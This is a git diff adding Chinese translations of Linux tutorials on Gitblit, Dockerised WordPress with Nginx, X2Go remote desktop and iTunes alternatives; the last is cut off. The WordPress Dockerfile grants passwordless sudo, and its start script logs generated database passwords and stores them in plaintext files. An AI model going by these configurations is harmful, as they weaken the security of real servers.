Serve Git Repositories Using Gitblit Tool in Linux.md b/published/201506/20150330 How to Serve Git Repositories Using Gitblit Tool in Linux.md new file mode 100644 index 0000000000..ef30371412 --- /dev/null +++ b/published/201506/20150330 How to Serve Git Repositories Using Gitblit Tool in Linux.md @@ -0,0 +1,101 @@ +如何在Linux下使用Gitblit工具创建Git仓库服务 +================================================================================ +嗨!朋友,今天我们将学习如何在你的Linux服务器或者PC上安装Gitblit工具。首先,我们看看什么是Git,它的功能以及安装Gitblit的步骤。[Git是分布式版本控制系统][1],它强调速度、数据一致性,并且支持分布式、非线性工作流。它最初由Linus Torvalds在2005年为Linux内核设计和开发,使用GPLv2证书,并从此成为软件开发中使用最广泛的版本控制系统。 + +[Gitblit是完全开源的软件][2],它基于纯粹的Java堆栈,被设计以在Git仓库速度和效率方面胜任从小型到极大型的项目。它很容易学习和上手,并有着闪电般的性能。它在很多方面远胜 Subversion、CVS、Perforce和ClearCase等SCM(版本控制)工具,比如,如快速本地分支、易于暂存、多工作流等。 + +#### Gitblit的功能 #### + +- 它可以做为一个哑仓库视图,没有管理控制以及用户账户。 +- 它可以做为完整的Git服务,拥有克隆、推送和仓库访问控制。 +- 它能独立于其他Git工具使用(包括实际的Git),它能和您已有的工具协作。 + +### 1.创建Gitblit安装目录 ### + +首先我们将在我们的服务器上建立一个目录,并在该目录下安装最新的Gitblit。 + + $ sudo mkdir -p /opt/gitblit + + $ cd /opt/gitblit + +![创建gitblit目录](http://blog.linoxide.com/wp-content/uploads/2015/01/creating-directory-gitblit.png) + +### 2. 下载并解压 ### + +现在,我们将从Gitblit官方站点下载最新版的Gitblit。这里我们将安装1.6.2版本。所以,请在安装时根据具体的版本对命令进行修改。 + + $ sudo wget http://dl.bintray.com/gitblit/releases/gitblit-1.6.2.tar.gz + +![下载gitblit安装包](http://blog.linoxide.com/wp-content/uploads/2015/01/downloading-gitblit.png) + +接下来,我们将下载到的tar压缩包解压至之前创建的目录 /opt/gitblit/ + + $ sudo tar -zxvf gitblit-1.6.2.tar.gz + +![解压gitblit压缩包](http://blog.linoxide.com/wp-content/uploads/2015/01/extracting-gitblit-tar.png) + +### 3.配置并运行 ### + +现在,我们将对Gitblit进行配置。如果你想要定制Gitblit的行为,你可以修改`gitblit/data/gitblit.properties`。在完成配置后,我们将运行安装好的gitblit。有两种方式来运行gitblit,第一种是通过下面的命令手动运行: + + $ sudo java -jar gitblit.jar --baseFolder data + +另一种是将gitblit添加为服务。下面是在linux下将gitblit添加为服务的步骤。 + +由于我在使用Ubuntu,下面的命令将是 sudo cp service-ubuntu.sh /etc/init.d/gitblit,所以请根据你的发行版修改文件名service-ubuntu.sh为相应的你运行的发行版。 + + $ sudo ./install-service-ubuntu.sh + + $ sudo service gitblit start + +![启动gitblit服务](http://blog.linoxide.com/wp-content/uploads/2015/01/starting-gitblit-service.png) + +在你的浏览器中打开`http://localhost:8080`或`https://localhost:8443`,也可以将localhost根据本地配置替换为IP地址。输入默认的管理员凭证:admin / admin并点击login按钮。 + +![gitblit欢迎页面](http://blog.linoxide.com/wp-content/uploads/2015/01/gitblit-welcome.png) + +现在,我们将添加一个新的用户。首先,你需要以admin用户登录,username = **admin**,password = **admin**。 + +然后,点击用户图标 > users > (+) new user 来创建一个新用户,如下图所示。 + +![添加新用户](http://blog.linoxide.com/wp-content/uploads/2015/01/add-user.png) + +现在,我们将创建一个开箱可用的仓库。点击 repositories > (+) new repository。然后,如下图所示添加新的仓库。 + +![添加新的仓库](http://blog.linoxide.com/wp-content/uploads/2015/01/add-new-repository.png) + +#### 使用命令行创建一个新的仓库 #### + + touch README.md + git init + git add README.md + git commit -m "first commit" + git remote add origin ssh://arunlinoxide@localhost:29418/linoxide.com.git + git push -u origin master + +请将其中的用户名arunlinoxide替换为你添加的用户名。 + +#### 在命令行中push一个已存在的仓库 #### + + git remote add origin ssh://arunlinoxide@localhost:29418/linoxide.com.git + git push -u origin master + +**注意**:强烈建议所有人修改用户名“admin”的密码。 + +### 结论 ### + +欢呼吧!我们已经在Linux电脑中安装好了最新版本的Gitblit。接下来我们便可以在我们的大小项目中享受这样一个优美的版本控制系统。有了Gitblit,版本控制便再容易不过了。它有易于学习、轻量级、高性能的特点。因此,如果你有任何的问题、建议和反馈,请在留言处留言。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/serve-git-repositories-gitblit/ + +作者:[Arun Pyasi][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://git-scm.com/ +[2]:http://gitblit.com/ \ No newline at end of file diff --git a/published/201506/20150331 How to Install WordPress with Nginx in a Docker Container.md b/published/201506/20150331 How to Install WordPress with Nginx in a Docker Container.md new file mode 100644 index 0000000000..e24767bd84 --- /dev/null +++ b/published/201506/20150331 How to Install WordPress with Nginx in a Docker Container.md @@ -0,0 +1,349 @@ +如何在 Docker 容器中架设一个完整的 WordPress 站点 +================================================================================ + +大家好,今天我们来学习一下如何在 Docker 容器里运行的 Nginx Web 服务器中安装 WordPress。WordPress 是一个很好的免费开源的内容管理系统,全球成千上万的网站都在使用它。[Docker][1] 是一个开源项目,提供了一个可以打包、装载和运行任何应用的轻量级容器的开放平台。它没有语言支持、框架和打包系统的限制,从小型的家用电脑到高端服务器,在何时何地都可以运行。这使它们可以不依赖于特定软件栈和供应商,像一块块积木一样部署和扩展网络应用、数据库和后端服务。 + +今天,我们会在 docker 容器上部署最新的 WordPress 软件包,包括需要的前提条件,例如 Nginx Web 服务器、PHP5、MariaDB 服务器等。下面是在运行在 Docker 容器上成功安装 WordPress 的简单步骤。 + +### 1. 安装 Docker ### + +在我们真正开始之前,我们需要确保在我们的 Linux 机器上已经安装了 Docker。我们使用的主机是 CentOS 7,因此我们用下面的命令使用 yum 管理器安装 docker。 + + # yum install docker + +![安装 Docker](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-docker.png) + + # systemctl restart docker.service + +### 2. 创建 WordPress 的 Dockerfile ### + +我们需要创建用于自动安装 wordpress 以及其前置需求的 Dockerfile。这个 Dockerfile 将用于构建 WordPress 的安装镜像。这个 WordPress Dockerfile 会从 Docker Registry Hub 获取 CentOS 7 镜像并用最新的可用更新升级系统。然后它会安装必要的软件,例如 Nginx Web 服务器、PHP、MariaDB、Open SSH 服务器,以及其它保证 Docker 容器正常运行不可缺少的组件。最后它会执行一个初始化 WordPress 安装的脚本。 + + # nano Dockerfile + +然后,我们需要将下面的配置行添加到 Dockerfile中。 + + FROM centos:centos7 + MAINTAINER The CentOS Project + + RUN yum -y update; yum clean all + RUN yum -y install epel-release; yum clean all + RUN yum -y install mariadb mariadb-server mariadb-client nginx php-fpm php-cli php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-magickwand php-magpierss php-mbstring php-mcrypt php-mssql php-shout php-snmp php-soap php-tidy php-apc pwgen python-setuptools curl git tar; yum clean all + ADD ./start.sh /start.sh + ADD ./nginx-site.conf /nginx.conf + RUN mv /nginx.conf /etc/nginx/nginx.conf + RUN rm -rf /usr/share/nginx/html/* + RUN /usr/bin/easy_install supervisor + RUN /usr/bin/easy_install supervisor-stdout + ADD ./supervisord.conf /etc/supervisord.conf + RUN echo %sudo ALL=NOPASSWD: ALL >> /etc/sudoers + ADD http://wordpress.org/latest.tar.gz /wordpress.tar.gz + RUN tar xvzf /wordpress.tar.gz + RUN mv /wordpress/* /usr/share/nginx/html/. + RUN chown -R apache:apache /usr/share/nginx/ + RUN chmod 755 /start.sh + RUN mkdir /var/run/sshd + + EXPOSE 80 + EXPOSE 22 + + CMD ["/bin/bash", "/start.sh"] + +![Wordpress Docker 文件](http://blog.linoxide.com/wp-content/uploads/2015/03/Dockerfile-wordpress.png) + +### 3. 创建启动脚本 ### + +我们创建了 Dockerfile 之后,我们需要创建用于运行和配置 WordPress 安装的脚本,名称为 start.sh。它会为 WordPress 创建并配置数据库和密码。用我们喜欢的文本编辑器打开 start.sh。 + + # nano start.sh + +打开 start.sh 之后,我们要添加下面的配置行到文件中。 + + #!/bin/bash + + __check() { + if [ -f /usr/share/nginx/html/wp-config.php ]; then + exit + fi + } + + __create_user() { + # 创建用于 SSH 登录的用户 + SSH_USERPASS=`pwgen -c -n -1 8` + useradd -G wheel user + echo user:$SSH_USERPASS | chpasswd + echo ssh user password: $SSH_USERPASS + } + + __mysql_config() { + # 启用并运行 MySQL + yum -y erase mariadb mariadb-server + rm -rf /var/lib/mysql/ /etc/my.cnf + yum -y install mariadb mariadb-server + mysql_install_db + chown -R mysql:mysql /var/lib/mysql + /usr/bin/mysqld_safe & + sleep 10 + } + + __handle_passwords() { + # 在这里我们生成随机密码(多亏了 pwgen)。前面两个用于 mysql 用户,最后一个用于 wp-config.php 的随机密钥。 + WORDPRESS_DB="wordpress" + MYSQL_PASSWORD=`pwgen -c -n -1 12` + WORDPRESS_PASSWORD=`pwgen -c -n -1 12` + # 这是在日志中显示的密码。 + echo mysql root password: $MYSQL_PASSWORD + echo wordpress password: $WORDPRESS_PASSWORD + echo $MYSQL_PASSWORD > /mysql-root-pw.txt + echo $WORDPRESS_PASSWORD > /wordpress-db-pw.txt + # 这里原来是一个包括 sed、cat、pipe 和 stuff 的很长的行,但多亏了 + # @djfiander 的 https://gist.github.com/djfiander/6141138 + # 现在没有了 + sed -e "s/database_name_here/$WORDPRESS_DB/ + s/username_here/$WORDPRESS_DB/ + s/password_here/$WORDPRESS_PASSWORD/ + /'AUTH_KEY'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'SECURE_AUTH_KEY'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'LOGGED_IN_KEY'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'NONCE_KEY'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'AUTH_SALT'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'SECURE_AUTH_SALT'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'LOGGED_IN_SALT'/s/put your unique phrase here/`pwgen -c -n -1 65`/ + /'NONCE_SALT'/s/put your unique phrase here/`pwgen -c -n -1 65`/" /usr/share/nginx/html/wp-config-sample.php > /usr/share/nginx/html/wp-config.php + } + + __httpd_perms() { + chown apache:apache /usr/share/nginx/html/wp-config.php + } + + __start_mysql() { + # systemctl 启动 mysqld 服务 + mysqladmin -u root password $MYSQL_PASSWORD + mysql -uroot -p$MYSQL_PASSWORD -e "CREATE DATABASE wordpress; GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpress'@'localhost' IDENTIFIED BY '$WORDPRESS_PASSWORD'; FLUSH PRIVILEGES;" + killall mysqld + sleep 10 + } + + __run_supervisor() { + supervisord -n + } + + # 调用所有函数 + __check + __create_user + __mysql_config + __handle_passwords + __httpd_perms + __start_mysql + __run_supervisor + +![启动脚本](http://blog.linoxide.com/wp-content/uploads/2015/03/start-script.png) + +增加完上面的配置之后,保存并关闭文件。 + +### 4. 创建配置文件 ### + +现在,我们需要创建 Nginx Web 服务器的配置文件,命名为 nginx-site.conf。 + + # nano nginx-site.conf + +然后,增加下面的配置信息到配置文件。 + + user nginx; + worker_processes 1; + + error_log /var/log/nginx/error.log; + #error_log /var/log/nginx/error.log notice; + #error_log /var/log/nginx/error.log info; + + pid /run/nginx.pid; + events { + worker_connections 1024; + } + http { + include /etc/nginx/mime.types; + default_type application/octet-stream; + + log_format main '$remote_addr - $remote_user [$time_local] "$request" ' + '$status $body_bytes_sent "$http_referer" ' + '"$http_user_agent" "$http_x_forwarded_for"'; + + access_log /var/log/nginx/access.log main; + + sendfile on; + #tcp_nopush on; + + #keepalive_timeout 0; + keepalive_timeout 65; + + #gzip on; + + index index.html index.htm index.php; + + # Load modular configuration files from the /etc/nginx/conf.d directory. + # See http://nginx.org/en/docs/ngx_core_module.html#include + # for more information. + include /etc/nginx/conf.d/*.conf; + + server { + listen 80; + server_name localhost; + + #charset koi8-r; + + #access_log logs/host.access.log main; + root /usr/share/nginx/html; + + #error_page 404 /404.html; + + # redirect server error pages to the static page /50x.html + # + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root html; + } + + # proxy the PHP scripts to Apache listening on 127.0.0.1:80 + # + #location ~ \.php$ { + # proxy_pass http://127.0.0.1; + #} + + # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 + # + location ~ \.php$ { + + root /usr/share/nginx/html; + try_files $uri =404; + fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + } + + # deny access to .htaccess files, if Apache's document root + # concurs with nginx's one + # + #location ~ /\.ht { + # deny all; + #} + + } + } + +![Nginx 配置](http://blog.linoxide.com/wp-content/uploads/2015/03/nginx-conf.png) + +现在,创建 supervisor.conf 文件并添加下面的行。 + + # nano supervisord.conf + +然后,添加以下行。 + + [unix_http_server] + file=/tmp/supervisor.sock ; (the path to the socket file) + + [supervisord] + logfile=/tmp/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/tmp/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=false ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + + ; the below section must remain in the config file for RPC + ; (supervisorctl/web interface) to work, additional interfaces may be + ; added by defining them in separate rpcinterface: sections + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + + [supervisorctl] + serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket + + [program:php-fpm] + command=/usr/sbin/php-fpm -c /etc/php/fpm + stdout_events_enabled=true + stderr_events_enabled=true + + [program:php-fpm-log] + command=tail -f /var/log/php-fpm/php-fpm.log + stdout_events_enabled=true + stderr_events_enabled=true + + [program:mysql] + command=/usr/bin/mysql --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 + stdout_events_enabled=true + stderr_events_enabled=true + + [program:nginx] + command=/usr/sbin/nginx + stdout_events_enabled=true + stderr_events_enabled=true + + [eventlistener:stdout] + command = supervisor_stdout + buffer_size = 100 + events = PROCESS_LOG + result_handler = supervisor_stdout:event_handler + +![Supervisord 配置](http://blog.linoxide.com/wp-content/uploads/2015/03/supervisord.png) + +添加完后,保存并关闭文件。 + +### 5. 构建 WordPress 容器 ### + +现在,完成了创建配置文件和脚本之后,我们终于要使用 Dockerfile 来创建安装最新的 WordPress CMS(译者注:Content Management System,内容管理系统)所需要的容器,并根据配置文件进行配置。做到这点,我们需要在对应的目录中运行以下命令。 + + # docker build --rm -t wordpress:centos7 . + +![构建 WordPress 容器](http://blog.linoxide.com/wp-content/uploads/2015/03/building-wordpress-container.png) + +### 6. 运行 WordPress 容器 ### + +现在,执行以下命令运行新构建的容器,并为 Nginx Web 服务器和 SSH 访问打开88 和 22号相应端口 。 + + # CID=$(docker run -d -p 80:80 wordpress:centos7) + +![运行 WordPress Docker](http://blog.linoxide.com/wp-content/uploads/2015/03/run-wordpress-docker.png) + +运行以下命令检查进程以及容器内部执行的命令。 + + # echo "$(docker logs $CID )" + +运行以下命令检查端口映射是否正确。 + + # docker ps + +![docker 状态](http://blog.linoxide.com/wp-content/uploads/2015/03/docker-state.png) + +### 7. Web 界面 ### + +最后如果一切正常的话,当我们用浏览器打开 http://ip-address/ 或者 http://mywebsite.com/ 的时候会看到 WordPress 的欢迎界面。 + +![启动Wordpress](http://blog.linoxide.com/wp-content/uploads/2015/03/wordpress-start.png) + +现在,我们将通过 Web 界面为 WordPress 面板设置 WordPress 的配置、用户名和密码。 + +![Wordpress 欢迎界面](http://blog.linoxide.com/wp-content/uploads/2015/03/wordpress-welcome.png) + +然后,用上面用户名和密码输入到 WordPress 登录界面。 + +![wordpress 登录](http://blog.linoxide.com/wp-content/uploads/2015/03/wordpress-login.png) + +### 总结 ### + +我们已经成功地在以 CentOS 7 作为 docker OS 的 LEMP 栈上构建并运行了 WordPress CMS。从安全层面来说,在容器中运行 WordPress 对于宿主系统更加安全可靠。这篇文章介绍了在 Docker 容器中运行的 Nginx Web 服务器上使用 WordPress 的完整配置。如果你有任何问题、建议、反馈,请在下面的评论框中写下来,让我们可以改进和更新我们的内容。非常感谢!Enjoy :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/install-wordpress-nginx-docker-container/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://docker.io/ \ No newline at end of file diff --git a/published/201506/20150331 How to set up remote desktop on Linux VPS using x2go.md b/published/201506/20150331 How to set up remote desktop on Linux VPS using x2go.md new file mode 100644 index 0000000000..8ce76e25c6 --- /dev/null +++ b/published/201506/20150331 How to set up remote desktop on Linux VPS using x2go.md @@ -0,0 +1,138 @@ +如何在 Linux 上使用 x2go 设置远程桌面 +================================================================================ +由于一切都迁移到了云上,作为提高职员生产力的一种方式,虚拟远程桌面在工业中越来越流行。尤其对于那些需要在多个地方和设备之间不停漫游的人,远程桌面可以让他们和工作环境保持无缝连接。远程桌面对于雇主同样有吸引力,可以在工作环境中提高敏捷性和灵活性,由于硬件整合、桌面安全加固等原因降低 IT 花费。 + +在 Linux 世界中,理所当然设置远程桌面有很多选择,支持许多协议(例如 RDP、RFB、NX) 和服务器/客户端实现(例如 [TigerVNC][1]、RealVNC、FreeNX、x2go、X11vnc、TeamViewer 等等)。 + +这当中有个出色的产品叫做 [X2Go][2],它是一个基于 NX(译者注:通过计算机网络显示远程桌面环境的一种技术,可参考 [Wiki][9])的远程桌面服务器和客户端的开源(GPLv2)实现。在这个教程中,我会介绍 **如何为 Linux VPS 使用 X2Go 设置远程桌面环境**。 + +### X2Go 是什么? ### + +X2Go 的历史要追溯到 NoMachine 的 NX 技术。NX 远程桌面协议的设计目的是通过利用主动压缩和缓存解决低带宽和高延迟的网络连接问题。后来,NX 转为闭源,但 NX 库还是采用 GPL 协议。这导致出现了多种基于 NX 的远程桌面解决方案开源实现,X2Go 就是其中之一。 + +和其它解决方案例如 VNC 相比,X2Go 有哪些好处呢? X2Go 继承了 NX 技术的所有高级功能,很自然能在慢速网络连接上良好工作。另外,由于它内置的基于 SSH 的加密技术,X2Go 保持了确保安全的良好业绩记录。不再需要[手动设置 SSH 隧道][4] 。X2Go 默认支持音频,这意味着远程桌面的音乐播放可以通过网络传送,并进入本地扬声器。在易用性方面,远程桌面上运行的应用程序可以在你的本地桌面中以一个独立窗口无缝呈现,会给你造成一种应用程序实际上在你本地桌面运行的错觉。正如你看到的,这些都是一些基于 VNC 的解决方案所缺少的[强大功能][5]。 + +### X2GO 的桌面环境兼容性 ### + +和其它远程桌面服务器一样,X2Go 服务器也有一些[已知的兼容性问题][6]。像 KDE 3/4、Xfce、MATE 和 LXDE 是对 X2Go 服务器最友好的桌面环境。但是,用其它桌面管理器效果可能有所不同。例如,已知 GNOME 3 之后的版本、KDE 5、Unity 和 X2Go 并不兼容。如果你的远程主机的桌面管理器和 X2Go 兼容,你可以继续以下的教程。 + +### 在 Linux 上安装 X2Go 服务器 ### + +X2Go 由远程桌面服务器和客户端组件组成。让我们首先安装 X2Go 服务器。我假设你已经有一个和 X2Go 兼容的桌面管理器并且在远程主机上运行,我们会安装 X2Go 服务器到该远程主机。 + +注意系统启动后 X2Go 服务器组件没有需要单独启动的服务。你只需要保证开启了 SSH 服务并在正常运行。 + +#### Ubuntu 或 Linux Mint: #### + +配置 X2Go PPA 库。对于 Ubuntu 14.04 以及更高版本,有可用的 X2Go PPA。 + + $ sudo add-apt-repository ppa:x2go/stable + $ sudo apt-get update + $ sudo apt-get install x2goserver x2goserver-xsession + +#### Debian (Wheezy): #### + + $ sudo apt-key adv --recv-keys --keyserver keys.gnupg.net E1F958385BFE2B6E + $ sudo sh -c "echo deb http://packages.x2go.org/debian wheezy main > /etc/apt/sources.list.d/x2go.list" + $ sudo sh -c "echo deb-src http://packages.x2go.org/debian wheezy main >> /etc/apt/sources.list.d/x2go.list" + $ sudo apt-get update + $ sudo apt-get install x2goserver x2goserver-xsession + +#### Fedora: #### + + $ sudo yum install x2goserver x2goserver-xsession + +#### CentOS/RHEL: #### + +首先启用 [EPEL 库][7] 然后运行: + + $ sudo yum install x2goserver x2goserver-xsession + +### 在 Linux 上安装 X2Go 客户端 ### + +在将会连接到远程桌面的本地主机上,安装以下命令安装 X2Go 客户端。 + +#### Ubuntu 或 Linux Mint: #### + +配置 X2Go PPA 库。对于 Ubuntu 14.04 以及更高版本,有可用的 X2Go PPA。 + + $ sudo add-apt-repository ppa:x2go/stable + $ sudo apt-get update + $ sudo apt-get install x2goclient + +Debian (Wheezy): + + $ sudo apt-key adv --recv-keys --keyserver keys.gnupg.net E1F958385BFE2B6E + $ sudo sh -c "echo deb http://packages.x2go.org/debian wheezy main > /etc/apt/sources.list.d/x2go.list" + $ sudo sh -c "echo deb-src http://packages.x2go.org/debian wheezy main >> /etc/apt/sources.list.d/x2go.list" + $ sudo apt-get update + $ sudo apt-get install x2goclient + +#### Fedora: #### + + $ sudo yum install x2goclient + +CentOS/RHEL: + +首先启用 [EPEL 库][7] ,然后运行: + + $ sudo yum install x2goclient + +### 用 X2Go 客户端连接到远程桌面 ### + +现在可以连接到远程桌面了。在本地主机上,只需运行以下命令或者使用桌面启动器启动 X2Go 客户端。 + + $ x2goclient + +输入远程主机的 IP 地址和 SSH 用户名称。同时,指定会话类型(例如,远程主机的桌面管理器)。 + +![](https://farm9.staticflickr.com/8730/16365755693_75f3d544e9_b.jpg) + +如果需要的话,你可以自定义其它东西(通过点击其它的标签),例如连接速度、压缩、屏幕分辨率等等。 + +![](https://farm9.staticflickr.com/8699/16984498482_665b975eca_b.jpg) + +![](https://farm9.staticflickr.com/8694/16985838755_1b7df1eb78_b.jpg) + +当你初始化一个远程桌面连接的时候,会要求你登录。输入你的 SSH 登录名和密码。 + +![](https://farm9.staticflickr.com/8754/16984498432_1c8068b817_b.jpg) + +成功登陆后,你会看到远程桌面屏幕。 + +![](https://farm9.staticflickr.com/8752/16798126858_1ab083ba80_c.jpg) + +如果你想测试 X2Go 的无缝窗口功能,选择 "Single application" 会话类型,然后指定远处主机上可执行文件的路径。在该例子中,我选择远程 KDE 主机上的 Dolphin 文件管理器。 + +![](https://farm8.staticflickr.com/7584/16798393920_128c3af9c5_b.jpg) + +你成功连接后,你会在本地桌面上看到一个远程应用窗口,而不是完整的远程桌面屏幕。 + +![](https://farm9.staticflickr.com/8742/16365755713_7b90cf65f0_c.jpg) + +### 总结 ### + +在这篇教程中,我介绍了如何在 [Linux VPS][8] 实例上设置 X2Go 远程桌面。正如你所看到的,整个设置过程都非常简单(如果你使用一个合适的桌面环境的话)。尽管对于特定桌面仍有问题,X2Go 是一个安全、功能丰富、快速并且免费的远程桌面解决方案。 + +X2Go 的什么功能最吸引你?欢迎分享你的观点。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/x2go-remote-desktop-linux.html + +作者:[Dan Nanni][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://ask.xmodulo.com/centos-remote-desktop-vps.html +[2]:http://wiki.x2go.org/ +[3]:http://xmodulo.com/go/digitalocean +[4]:http://xmodulo.com/how-to-set-up-vnc-over-ssh.html +[5]:http://wiki.x2go.org/doku.php/doc:newtox2go +[6]:http://wiki.x2go.org/doku.php/doc:de-compat +[7]:https://linux.cn/article-2324-1.html +[8]:http://xmodulo.com/go/digitalocean +[9]:https://en.wikipedia.org/wiki/NX_technology \ No newline at end of file diff --git a/published/201506/20150407 Top 6 Ways To Get Your iTunes Experience On Linux.md b/published/201506/20150407 Top 6 Ways To Get Your iTunes Experience On Linux.md new file mode 100644 index 0000000000..dee56ed250 --- /dev/null +++ b/published/201506/20150407 Top 6 Ways To Get Your iTunes Experience On Linux.md @@ -0,0 +1,88 @@ +六种在 Linux 上为你带来 iTunes 般体验的方法 +================================================================================ +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/itunes-linux-840x420.jpg?35dc20) + +随着你对 Linux 的熟悉(也许会成为你首要使用的操作系统),你终将会寻找能在 Linux 上有效管理音乐的工具。你首先想到 iTunes,因为它是近几年最流行的音乐管理工具,但你马上会发现 iTunes 并没有 Linux 版本。而且,现在,你会发现还有比 iTunes 更好的音乐管理工具。 + +尽管如此,这并不意味着你就不能使用你喜欢的方式管理音乐。Linux 上有很多方式可以让你整理你的曲库。以下六种,仅供参考: + +### 通过WINE运行iTunes ### + +尽管 iTunes 没有Linux版,你还是可以试试 [使用 WINE 运行 iTunes ][1] 或 PlayOnLinux 的。这些软件给本来只能运行于Windows下的应用程序添加一个兼容层,这样就能让他们运行在Linux上了,但这样的方法效果十有分限。因此,[并非所有 Windows 应用程序都能使用WINE运行][2] - 但这还是一个值得尝试的方法。 + +各个版本的iTunes结果可能给你不同的结果,但一般都遵循以下方法: + +1. 安装WINE +2. 在WINE里运行iTunes安装程序 +3. 在网上搜索并解决你遇到的问题。 + +如果你在安装时遇到无法解决的问题,比如安装程序错误,或者安装好的程序运行不了,那是没办法的,WINE 就是这样。 + +如果你想在 WINE 上运行 iTunes 而且运气很好的跑起来了,那真是很棒。但如果你还想考虑运行一个原生的Linux应用,或者 WINE 不工作的话,还有很多其他选择的。有几个曲库管理软件能让你很方便的管理你的音乐并直接进行播放,还可以制作播放列表。 + +### [Amarok][3] ### + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/03/amarok_main.jpg?35dc20) + +如果你使用KDE环境,我推荐 Amarok。它具有 [很多管理音乐的特性][4] 而且它还能与KDE桌面环境无缝兼容。它有很多实用的特性如集成了 Last.FM、文件跟踪、动态播放列表及脚本支持。它甚至会自动在你播放曲目时,自动下载艺术家封面。 + +### [Banshee][5] ### + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/03/banshee_main.jpg?35dc20) + +如果你使用 GNOME 或其他任何基于 GTK 的桌面环境(它们十分常见)的话,我推荐使用使用Bansee作为 [全功能曲库管理工具][6] 。它的功能与Amarok类似,也集成了Last.FM,支持互联网广播,支持podcast等等。选择 Amarok 还是 Bansee 要看你使用的桌面环境(这样才能无缝整合)。 + +### [Rhythmbox][7] ### + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/03/rhythmbox_main.jpg?35dc20) + +Rhythmbox是一个更好基于GTK的桌面环境的[轻量级的曲库替代品][8]。尽管如此,它也还是有一些自己的特性的。它也支持Last.FM,同时还能无缝播放并与其它如 Nautilus、XChat及Pidgin 等进行整合。 + +### [Clementine][9] ### + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/03/clementine_main.jpg?35dc20) + +另一款叫 Clementine 的软件也值得我推荐,因为它的界面简洁、易用。它支持非常多的第三方服务例如Spotify,Digtal Imported 及Dropbox。Android系统上还有一款用作 Clementine 遥控的app。[Clementine是跨平台的][10] , 还支持Mac OS X 及 Windows。 + +这些程序都能很好的管理并播放你的音乐。唯一的问题是这些程序都不支持与 iOS 设备的整合, 而且目前Linux 上还没有程序能做到这一点。但 iOS 经过很多改进后,已经并不需要再连接到电脑了。 + +### [Google Play Music][11] ### + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/03/google_music.jpg?35dc20) + +最后,如果上面的那些程序还不能满足你的需求的话,你可以试试 Google Play Music。这个在线服务也可以用作播放音乐的曲库管理工具,但它还有几个额外的好处。你可以上传所有的音乐,并且在所有能上网的设备上获取这些音乐。这也意味着你不需要在电脑或者移动设备之间同步你的音乐(无论是 Android 还是 iOS 设备),因为你可以这些设备中使用Google Play Music。 如果你想要扩展你的曲库,你可以订阅 All Access 服务,但这并不是必须的。你不需要支付任何费用也可在你的曲库中储存20,000首 + +#### 靠,居然没有 Spotify ?! #### + +尽管 Spotify 也是一款管理和听音乐的方法,我不推荐它的唯一原因是它事实上并不让你管理你的音乐。你不能将曲目上传到 Spotify - 只能它们给你提供的曲目。尽管它们提供了很多,但口味未必一样。 + + +### 你还有其他选择 ### + +以上六个软件应该可以在给你带来类似 iTunes 的功能了。这些软件主要是能让你管理和播放你的曲库,但如果你还需要 iTunes 里的其他特性,其他Linux原生软件或许能满足这类需求。 + +**你通常在Linux上使用哪些音乐?**在下方评论与我们分享吧! + + +-------------------------------------------------------------------------------- + +via: http://www.makeuseof.com/tag/top-6-ways-get-itunes-experience-linux/ + +作者:[Danny Stieben][a] +译者:[KevinSJ](https://github.com/KevinSJ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.makeuseof.com/tag/author/danny/ +[1]:http://www.makeuseof.com/tag/how-about-some-wine-with-your-linux/ +[2]:http://www.makeuseof.com/answers/does-wine-runs-all-windows-apps/ +[3]:https://amarok.kde.org/ +[4]:http://www.makeuseof.com/tag/control-music-amarok-linux/ 